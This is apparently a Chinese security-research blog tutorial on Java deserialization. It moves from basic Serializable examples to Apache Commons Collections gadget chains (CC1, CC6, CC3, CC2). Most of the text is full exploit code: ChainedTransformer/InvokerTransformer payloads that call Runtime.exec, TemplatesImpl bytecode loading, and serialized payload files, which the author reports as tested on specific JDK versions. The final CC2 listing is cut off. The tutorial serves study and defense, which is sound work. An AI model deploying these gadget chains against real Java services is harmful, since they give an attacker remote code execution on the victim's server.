写在开头:
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html oracle中国官网这个对应版本有问题,所以复现的时候,多了一些不必要的小插曲,所以下载应该到其他网站,例如:https://www.oracle.com/hk/java/technologies/javase/javase8-archive-downloads.html

java原生序列化与反序列化
在Java中,想要让一个类能够序列化,需要让该类实现java.io.Serializable
接口。这个接口是一个标记接口(marker interface),即它没有定义任何方法,类实现这个接口只是表示它可以被序列化。
写一个简单的序列化和反序列化的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import java.io.Serializable;
public class Person implements Serializable { private static final long serialVersionUID = 1L; private String name; private int age;
public Person(String name, int age) { this.name = name; this.age = age; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
@Override public String toString() { return "Person{name='" + name + "', age=" + age + "}"; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import java.io.*;
public class SerializationExample { public static void main(String[] args) { Person person = new Person("John Doe", 30);
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.ser"))) { oos.writeObject(person); System.out.println("序列化成功:" + person); } catch (IOException e) { e.printStackTrace(); }
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("person.ser"))) { Person deserializedPerson = (Person) ois.readObject(); System.out.println("反序列化成功:" + deserializedPerson); } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } } }
|

按照一定规则将实例化的Person对象转换为字符串保存在person.ser文件中,这个过程叫做序列化。序列化其实就是将对象转换为字符串。而将person.ser文件内容转换为对象的过程叫做反序列化。序列化与反序列化其实就是为了传输对象,如果两台通过网络连接的电脑,前提是每台电脑中都有Person.java
且版本一致,则可以通过传输序列化之后的文件,在自己电脑中将对象反序列化出来。
如果Person类中存在不可序列化的属性则会报错,定义一个Pet
类不去实现Serializable
接口,writing aborted; java.io.NotSerializableException: cn.luc1fer.Pet

用null
代替可以序列化,但是之后不可以访问pet的属性,否则会报错。

在java中一些基础的数据类型是默认实现了Serializable
接口,如果不想将类的某些属性序列化可以添加关键字transient
修饰,private transient Pet pet
,这样在序列化的时候不会将pet的值序列化。

readObject & writeObject
writeObject
是序列化的时候会自动调用的魔术方法,readObject
是反序列化自动会调用的魔术方法,在要序列化的对象中可以重写该方法实现自定义反序列化内容,例如在上面的Person类中添加如下代码
1 2 3 4 5 6 7 8 9
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { System.out.println("Person 反序列化..."); ois.defaultReadObject(); }
private void writeObject(ObjectOutputStream oos) throws IOException { System.out.println("Person 序列化..."); oos.defaultWriteObject(); }
|
结果如下:

如果反序列化时类的属性也实现了自己的readObject
,则会调用属性的readObject
去反序列化属性内容,前提是该属性没有被transient
修饰。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| package cn.luc1fer; import java.io.*;
public class Person implements Serializable { private static final long serialVersionUID = 1L;
private String name; private int age;
private Pet pet;
public Pet getPet() { return pet; }
public void setPet(Pet pet) { this.pet = pet; }
public Person(String name, int age,Pet pet) { this.name = name; this.age = age; this.pet = pet; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
@Override public String toString() { return "Person{name='" + name + "', age=" + age +"}"; }
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { System.out.println("Person 反序列化开始"); ois.defaultReadObject(); System.out.println("Person 反序列化结束"); }
private void writeObject(ObjectOutputStream oos) throws IOException { System.out.println("Person 序列化..."); oos.defaultWriteObject(); }
public static void main(String[] args) throws IOException, ClassNotFoundException { Person person = new Person("lucifer", 22, new Pet("pet")); File file = new File("person.bin"); FileOutputStream fileOutputStream = new FileOutputStream(file); ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream); oos.writeObject(person);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file)); objectInputStream.readObject();
} }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package cn.luc1fer;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class Pet implements Serializable { private String name;
public Pet(String name) { this.name = name; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { System.out.println("pet 反序列化开始"); ois.defaultReadObject(); System.out.println("pet 反序列化结束"); }
@Override public String toString() { return "Pet{" + "name='" + name + '\'' + '}'; } }
|
运行结果:

反序列化漏洞
简单地讲,反序列化漏洞就是在反序列化的时候,用户恶意构造反序列化内容,导致恶意行为的执行。举个例子,还是在Person类中重写readObject与writeObject:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { System.out.println("Person 反序列化..."); String cmd = ois.readUTF(); if (!cmd.isEmpty()){ Runtime.getRuntime().exec(cmd); } ois.defaultReadObject(); }
private void writeObject(ObjectOutputStream oos) throws IOException { System.out.println("Person 序列化..."); oos.writeUTF(this.name); oos.defaultWriteObject(); }
|
只需要构造person的name属性为任意cmd命令即可执行,当然这只是个例子,正常情况下应该没有人会这么写。

真正的反序列化漏洞调用链是特别长的,都是经过特殊构造让代码走入对应的逻辑,最终达到命令执行或者其他目的,所以同一个反序列化漏洞可能会有多种链来达到同样的效果。
CommonsCollections1
反序列化漏洞要想有危害,首先需要找到执行了危险操作的方法,然后再看在哪个重写的readObject
方法里会调用到这个危险方法中。
在CommonsCollections
中有一个Transformer
接口,这个接口只定义了一个方法transform()
。
1 2 3
| public interface Transformer { Object transform(Object var1); }
|
在CommonsCollections
对应的危险方法为InvokerTransformer.transform()
,InvokerTransformer
是Transformer
的一个实现类,在该方法中可以用反射调用任意方法。

简单测试一下:
1 2
| Runtime runtime = Runtime.getRuntime(); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
|

InvokerTransformer
有危险操作方法transform
,接下来就是找那个地方调用了transform方法,在commonscollections
中还有一个类是TransformedMap
,在TransformedMap
类中有一个put()
会调用transformKey()
,只要属性keyTransformer不为null,就可以调用keytransformer.transform()
方法。

这里注意TransformedMap的有参构造是protected无法在外部调用,当然可以用反射,但是注意decorate
方法可以直接返回一个TransformedMap

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package cn.luc1fer;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) { Runtime runtime = Runtime.getRuntime();
HashMap<Object, Object> hashMap = new HashMap<>(); Map map = TransformedMap.decorate(hashMap, new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), null); map.put(runtime,null); } }
|

到了这里其实一直有一个问题没有解决,正常哪会有map.put(runtime,null)
这种操作,所以需要想办法在put正常值的时候触发,继续找Transformer其他实现类。最后找到了ChainedTransformer

在ChainedTransformer
中的transform
方法中循环调用了属性transfomers数组中的transformer.transform()
而且将上一次的结果作为参数传入下一个transformer.transform()中。我们是不是可以通过Runtime.class
作为object出入然后调用InvokerTransformer
调用class对象的getMethod的方法获取到getRuntime
,调用之后获取到getRuntime Method,然后作为参数出入下一个InvokerTransformer
,在这个transform中调用invoke
获取到runtime实例,下一个transform调用exec
方法即可。
第一个Runtime.class如何获取呢?ConstantTransformer
中的transform()不管参数是什么都只会返回自身的iConstant
,初始化的时候把Runtime.class
传入即可。

后半段的调用链如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException { HashMap<Object, Object> hashMap = new HashMap<>(); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }); Map map = TransformedMap.decorate(hashMap, chainedTransformer,null); map.put("luc1fer",null); } }
|

直接通过反射获取Runtime.currentRuntime
不行吗?不行,因为currentRuntime是private,所以还需要调用setAccessible(true)
,但是这个方法返回值为void
,这样链就会断掉。
但是,这样是不行的,因为Runtime
是不可序列化的,所以只能通过反射去调用。
后半段的链先探索到这里,现在需要到一个重写了readObject()
的类,且在这个类中调用了map.put()
,这里除了map.put()
还有一个方法checkSetValue()
会调用valueTransformer.transform()
如果能找到在readObject()
中调用了map.put
是可以触发的,下面介绍的是用setValue
触发的链,为什么没有map.put
?因为没找到。

下面的代码是通过Map.Entry.setValue
触发transform
方法的,因为在setValue
方法内会调用checkSetValue
方法

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) { HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("luc1fer","test"); ChainedTransformer chainedTransformer1 = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }); Map map = TransformedMap.decorate(hashMap, null,chainedTransformer1); Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); entry.setValue("test"); } }
|

在sun.reflect.annotation.AnnotationInvocationHandler
中的readObject
刚好调用了setValue

这里还需要注意一个点,在AnnotationInvocationHandler的构造方法中,第一个参数必须是注解类型,例如Retention
、Target
,而且这些注解里必须定义了方法,因为有一个判断var7 != null
,var6
是传入字典的key,var3
就是Retention
中定义的方法,因为这里方法的名字是value
,所以必须要让var6
是value
。

具体代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| package cn.luc1fer;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Retention; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
FileInputStream fileInputStream = new FileInputStream(new File("ser.bin")); ObjectInputStream ois = new ObjectInputStream(fileInputStream); ois.readObject(); } }
|

CC1链在JDK-8U71
之前应该都是可以的,我只测试了8u60、8u65、7u80

之后我随便下载了一个高一点的版本:8u111
,在JDK-8u111
中,setValue
不会再被调用,而是直接赋值,这样就避免了调用transform方法,导致反序列化漏洞无法触发。


java动态代理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package cn.luc1fer;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy;
public class MyInvocationHandler implements InvocationHandler { private Object target;
public MyInvocationHandler(Object target) { this.target = target; }
@Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("动态代理的invoke代理方法:"+method.getName()+"!"); Object result = method.invoke(target, args); System.out.println("动态代理的invoke执行"+method.getName()+"完毕"); return result; }
public static void main(String[] args) { PrintString printString = new PrintString(); Printer printStringProxy = (Printer) Proxy.newProxyInstance(PrintString.class.getClassLoader(), PrintString.class.getInterfaces(), new MyInvocationHandler(printString)); System.out.println(printStringProxy.print("lucifer", "test")); }
} interface Printer { String print(String str1, String str2); } class PrintString implements Printer{ public String print(String str1,String str2){ System.out.println("执行print方法!"); return str1+str2; } }
|
在Java动态代理中,代理类是通过委托机制来调用目标对象的方法的。你在创建代理对象时,通过Proxy.newProxyInstance
方法传递了一个目标对象,以及一个实现了InvocationHandler
接口的处理器(在你的例子中是MyInvocationHandler
实例)。这个处理器持有目标对象,并在invoke
方法中使用反射调用目标对象的方法。
在上面的例子中,Proxy.newProxyInstance
会返回一个代理对象,MyInvocationHandler
实现了InvocationHandler
接口,需要重写invoke
方法,执行这个print
之前会先执行MyInvocationHandler.invoke
的方法。
具体执行结果如下:

LazyMap
在commonscollections
中还有一个类LazyMap
中有一个get
方法,在此方法中也会调用transform
,LazyMap.decorate
也是LazyMap的构造方法。

factory
也可以是Transformer
类型

然而在AnnotationInvocationHandler
中的invoke
方法中会调用到get方法。

所以只要创建包含恶意ChainedTransformer
的LazyMap的Proxy对象,赋值给AnnotationInvocationHandler.memberValues
然后反序列化,在AnnotationInvocationHandler.readObject
中只要执行this.memberValues
的任意方法都会先执行invoke
从而触发漏洞

下面是LazyMap调用链的具体流程图。

攻击构造(在8u65中测试成功):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map;
public class CC1LazyMapLuc1fer { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("lucifer","moody"); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }); Class<?> invocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> handlerConstructor = invocationHandler.getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); InvocationHandler handler = (InvocationHandler) handlerConstructor.newInstance(Retention.class, lazyMap); Map map = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), handler); Object o = handlerConstructor.newInstance(Retention.class, map);
File file = new File("cc1lazymap.bin"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(o);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file)); ois.readObject();
} }
|

高版本(测试的是8u111)下的问题:
1 2 3 4
| LinkedHashMap var7 = new LinkedHashMap(); ... AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3); AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
|
这里的var7
是新创建的linkedHashMap
对象,不会将lazymap赋值给MemberValues
了,所以在高版本下该链会存在问题。
这里可能难以理解,AnnotationInvocationHandler.readObject
并不是调用了一次而是多次,结合上面的Person
与Pet
的例子更好理解。
CommonsCollections6
cc6的调用链解决了上面CC1高版本下的问题,首先给出调用链的流程图:

org.apache.commons.collections.map.HashedMap
和java.util.HashMap
中的readObject
都可以触发hash()
这里说点不一样的:下面攻击构造的代码中有一行lazyMap.clear();
,这行代码至关重要。在LazyMap.get()
方法中想要执行transform()
,必须保证map中不包含key,而且**在调用完get方法之后会将put(key,value)**。

所以在攻击构造中,执行hashedMap.put(tiedMapEntry,"luc1fer");
时也会执行hash(key)
,之后就会调用this.map.put()

如果不加lazyMap.clear()
就会报错,因为transform()返回的结果是ProcessImpl对象,之后会将key和ProcessImpl对象添加到lazymap中,ProcessImpl对象是不可序列化的,所以会报错。即使这里ProcessImpl是可以序列化的,攻击也不会成功,因为lazymap中已经包含了那个key,所以lazymap.clear()
会清空map中的值。

下面的攻击构造也会在本地触发,如果不想在本地触发可以在一切准备就绪之后,通过反射将chainedTransformer
赋值给lazymap
的factory
.
攻击构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.util.HashMap; import java.util.Map;
public class CC6 { public static void main(String[] args) throws IOException, ClassNotFoundException {
HashedMap hashedMap = new HashedMap(); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "luc1fer");
hashedMap.put(tiedMapEntry,"luc1fer"); lazyMap.clear(); File file = new File("cc6.bin"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(hashedMap); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file)); ois.readObject();
} }
|
在我较高的版本8u371
中测试成功

CommonsCollections3
CC3其实是通过defineClass()
直接加载类属性byte数组,导致执行任意代码。defineClass是protected方法,无法直接调用,但是TemplatesImpl.TransletClassLoader
继承自ClassLoader
并调用了该方法。

字节码加载
URLClassLoader
首先测试一下URLClassLoader
,URLClassLoader可以动态加载类,在运行时从指定的 URL 加载类,而不是在编译时确定类路径。在创建 URLClassLoader
实例时,需要提供一个 URL
数组作为参数。这个数组指定了类和资源的搜索路径。每个 URL
可以指向一个 JAR 文件、一个目录或一个远程位置。URL 数组:URL[] urls
是一个 URL
数组,每个 URL
指定一个类或资源的搜索路径。可以是本地文件系统路径(以 file:
开头)或远程路径(如 http:
)。创建 URLClassLoader 实例:URLClassLoader urlClassLoader = new URLClassLoader(urls);
使用指定的 URL 数组创建一个 URLClassLoader
实例。加载类:Class<?> loadedClass = urlClassLoader.loadClass("com.example.YourClass");
使用 URLClassLoader
加载指定的类。

通过defineClass加载字节码文件
类加载器加载字节码的流程:
- **
loadClass
**:类加载的入口方法,遵循双亲委派模型,首先尝试让父类加载器加载类。
- **
findClass
**:如果父类加载器无法加载类,loadClass
方法会调用自身的 findClass
方法来查找和加载类的字节码。
- **
defineClass
**:findClass
方法读取字节码文件并将其转换为字节数组后,调用 defineClass
方法将字节数组转换为 Class
对象。
下面的例子成功执行Hello类的构造函数。

TemplatesImpl
在com.sun.org.apache.xalan.internal.xsltc.trax
包下的TemplatesImpl
类中有一个内部类TransletClassLoader
,该类中有defineClass()

然后找相关的调用链:
TemplatesImpl.newTransformer()
–>TemplatesImpl.getTransletInstance()
–>TemplatesImpl.defineTransletClasses
–>TemplatesImpl.TransletClassLoader.defineClass()
写代码测试一下这个链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| package cn.luc1fer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap;
public class CC3 { private void TestUrlClassLoader() throws InstantiationException, IllegalAccessException, MalformedURLException, ClassNotFoundException { URL[] urls = new URL[]{new URL("http://localhost:9999/")}; URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls); Class<?> hello = urlClassLoader.loadClass("Hello"); hello.newInstance(); } private void TestDefineClass() throws ClassNotFoundException, NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); File file = new File("Hello.class"); FileInputStream fileInputStream = new FileInputStream(file); byte[] codes = new byte[(int) file.length()];
fileInputStream.read(codes); fileInputStream.close();
Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", codes, 0, codes.length); hello.newInstance(); }
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchMethodException, NoSuchFieldException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl(); Field nameField = TemplatesImpl.class.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"luc1fer"); Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
File file = new File("Hello.class"); FileInputStream fileInputStream = new FileInputStream(file); byte[] codes = new byte[(int) file.length()]; fileInputStream.read(codes); fileInputStream.close(); bytecodesField.set(templates,new byte[][]{codes});
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory);
templates.newTransformer(); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Hello extends AbstractTranslet { public Hello() throws IOException { Runtime.getRuntime().exec("calc"); System.out.println("Hello.class"); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
测试下半条链可能会遇到的问题:
Hello类必须继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
否则会报错java.lang.NullPointerException

TemplatesImpl
的属性_name
不能为空、_class
为空才可以执行到defineTransletClasses
中

_tfactory
必须不为null
,否则也会报错java.lang.NullPointerException
.

这一部分可以走通,所以现在需要接上之前的CC1链或者CC6链的前半部分,构造一个ChainedTransformer
,用ConstantTransformer
返回构造好的TemplatesImpl
对象,之后用InvokerTransformer
执行newTransformer
方法就好了。

最终的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| package cn.luc1fer;
import java.lang.annotation.Retention; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import java.lang.reflect.*;
import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap; import java.util.Map;
public class CC3 { private void TestUrlClassLoader() throws InstantiationException, IllegalAccessException, MalformedURLException, ClassNotFoundException { URL[] urls = new URL[]{new URL("http://localhost:9999/")}; URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls); Class<?> hello = urlClassLoader.loadClass("Hello"); hello.newInstance(); } private void TestDefineClass() throws ClassNotFoundException, NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); File file = new File("Hello.class"); FileInputStream fileInputStream = new FileInputStream(file); byte[] codes = new byte[(int) file.length()];
fileInputStream.read(codes); fileInputStream.close();
Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", codes, 0, codes.length); hello.newInstance(); }
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchMethodException, NoSuchFieldException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl(); Field nameField = TemplatesImpl.class.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"luc1fer");
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
File evilClassFile = new File("Hello_calc.class"); FileInputStream fileInputStream = new FileInputStream(evilClassFile); byte[] codes = new byte[(int) evilClassFile.length()]; fileInputStream.read(codes); fileInputStream.close(); bytecodesField.set(templates,new byte[][]{codes});
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory);
ChainedTransformer chainedTransformer = new ChainedTransformer(new org.apache.commons.collections.Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) });
HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
HashMap<Object,Object> hashMap1 = new HashMap<>(); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "luc1fer"); hashMap1.put(tiedMapEntry,"luc1fer"); lazyMap.clear();
Field factory = LazyMap.class.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap,chainedTransformer);
File file = new File("cc3_cc6.bin"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(hashMap1);
} }
|
构造EXP可能会存在的问题:
- CC6前半部分调用链反射设置ChainedTransformer
CC6前半部分要通过反射设置chainedTransformer,否则会报错ClassNotFound
.
- CC6前半部分调用链添加nameArray解决报错问题
在序列化时会报错,在自己写的恶意类中的构造方法添加this.namesArray = new String[]{"test"};
,可以让序列化和反序列化都不报错,使用CC6链的前半部分链可以解决高版本无法运行的问题。

CommonsCollections2
注意这个CC2链必须是CommonsCollections4.0
才有的漏洞,因为在之前的版本中TransformingComparator
没有实现序列化接口。
1 2 3 4 5
| <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
|

下面就是整条链,主要是PriorityQueue
的readObject()
会调用到transform
方法

EXP如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package cn.luc1fer;
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class CC2 { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), new ConstantTransformer("luc1fer") }); TransformingComparator transformingComparator = new TransformingComparator<>(new Transformer() { @Override public Object transform(Object o) { return o; } }); PriorityQueue<Object> queue = new PriorityQueue<>(10,transformingComparator); queue.add("luc1fer"); queue.add("moody");
